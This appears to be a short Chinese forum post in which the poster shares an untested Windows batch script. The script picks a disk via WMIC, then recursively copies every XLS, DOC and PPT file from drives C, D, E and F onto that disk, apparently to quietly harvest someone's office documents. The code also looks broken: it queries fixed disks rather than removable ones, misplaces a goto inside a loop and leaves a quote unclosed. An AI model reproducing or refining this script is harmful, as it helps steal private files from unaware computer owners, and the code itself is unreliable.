这是第一个,我没测试- @echo off
- :U
- for /f "tokens=2 delims==" %%a in ('wmic LogicalDisk where "DriveType='3'" get DeviceID /value') do (
- if not "%%a"=="No Instance(s) Available." set U=%%a&&goto h
- goto U
- :h
- for %%a in (C,D,F,E) do (
- for %%b in (XLS,DOC,PPT) do (
- for /f "delims=" %%c in ('dir /s /b %%a:\*.%%b) do (
- copy %%c %U%
- )))
复制代码
|